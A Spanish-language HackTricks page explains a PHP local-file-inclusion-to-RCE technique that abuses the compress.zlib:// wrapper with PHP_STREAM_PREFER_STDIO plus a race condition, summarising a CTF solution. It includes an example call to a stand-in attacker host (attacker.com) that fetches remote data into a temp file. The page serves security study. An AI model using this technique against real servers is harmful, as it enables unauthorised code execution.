LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:


compress.zlib:// y PHP_STREAM_PREFER_STDIO

Un archivo abierto utilizando el protocolo compress.zlib:// con la bandera PHP_STREAM_PREFER_STDIO puede continuar escribiendo datos que llegan a la conexión más tarde en el mismo archivo.

Esto significa que una llamada como:

file_get_contents("compress.zlib://http://attacker.com/file")
<p>Enviar una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener abierta la conexión y enviar datos adicionales algún tiempo después que también se escribirán en el archivo.</p>

<p>Puedes ver esa información en esta parte del código php-src en main/streams/cast.c:</p>
/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Carrera de Condiciones a RCE

Este CTF se resolvió utilizando el truco anterior.

El atacante hará que el servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante utilizando el protocolo compress.zlib.

Mientras esta conexión exista, el atacante exfiltrará la ruta al archivo temporal creado (que es filtrado por el servidor).

Mientras la conexión esté abierta, el atacante aprovechará una LFI cargando el archivo temporal que controla.

Sin embargo, hay una verificación en el servidor web que impide cargar archivos que contienen <?. Por lo tanto, el atacante abusará de una Carrera de Condiciones. En la conexión que aún está abierta, el atacante enviará la carga útil de PHP DESPUÉS de que el servidor web haya verificado si el archivo contiene los caracteres prohibidos pero ANTES de cargar su contenido.

Para obtener más información, consulte la descripción de la Carrera de Condiciones y el CTF en https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de búsqueda de forma gratuita en:

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización